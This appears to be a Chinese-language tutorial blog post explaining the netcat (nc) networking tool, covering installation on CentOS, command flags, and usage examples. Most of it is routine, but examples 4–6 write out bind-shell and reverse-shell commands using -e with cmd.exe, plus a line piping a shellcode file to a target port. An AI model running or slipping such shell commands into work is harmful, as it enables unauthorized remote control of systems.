您的位置:首页 > 运维架构 > Linux

linux开发中常用的工具之netcat(nc瑞士军刀)

2018-01-14 16:23 281 查看
一:什么是瑞士军刀(netcat/nc)?

netcat被誉为网络安全界的‘瑞士军刀’,简称nc.一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门(back-end)工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接.

使用之前首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp 和udp协议.之所以叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,然后输出到屏幕上(默认的stdout是屏幕,当然可以重定向到其他地方).netcat也是如此,它读取一端的输入,然后传送到网络的另一端。ncat/nc
既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。


二:linux中nc的安装

在Linux中有一个级强大的网络工具netcat,在默认情况下面都是没有安装的,但是在 CentOS 7 / RHEL 7 的非最小化安装中,是默认安装的。下面基于centos的linux版本安装

首先可以使用nc -help或者man nc等命令查看是否已经安装了nc,如果没有,则执行安装。

sudo yum install nc.x86_64 或者root权限下的[b]yum install nc.x86_64[/b]

[b] 当然安装命令不唯一。也可以rpm进行安装[/b]

三:nc命令和参数介绍:

注意:netcat瑞士军刀可以识别的命令是nc或者ncat。

基本格式:nc [-options] hostname port[s] [ports] ...

[b]nc -l -p port [options] [hostname] [port]
[/b]

-d 后台模式

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h
帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出--用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。

四:nc命令基本用法

大概有以下几种用法:

1)连接到REMOTE主机,例子:

格式:nc -nvv 192.168.x.x 80 或者ncat -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口


2)监听LOCAL主机,例子:

格式:nc -l -p 80

讲解:监听本机的TCP80端口


3)扫描远程主机,例子:

格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口


4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口


5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口


以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。


高级用法:

6)作攻击程序用,例子:

格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt

讲解:连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)


附:c:exploit.txt为shellcode等

7)作蜜罐用[1],例子:

格式:nc -L -p 80

讲解:使用-L(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止.


8)作蜜罐用[2],例子:

格式:nc -L -p 80 > c:log.txt

讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,如果把‘>’改为‘>>’即可以追加日志。


附:c:log.txt为日志等

9)作蜜罐用[3],例子:

格式1:nc -L -p 80 < c:honeypot.txt

格式2:type.exe c:honeypot.txt|nc -L -p 80

讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其管道中。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: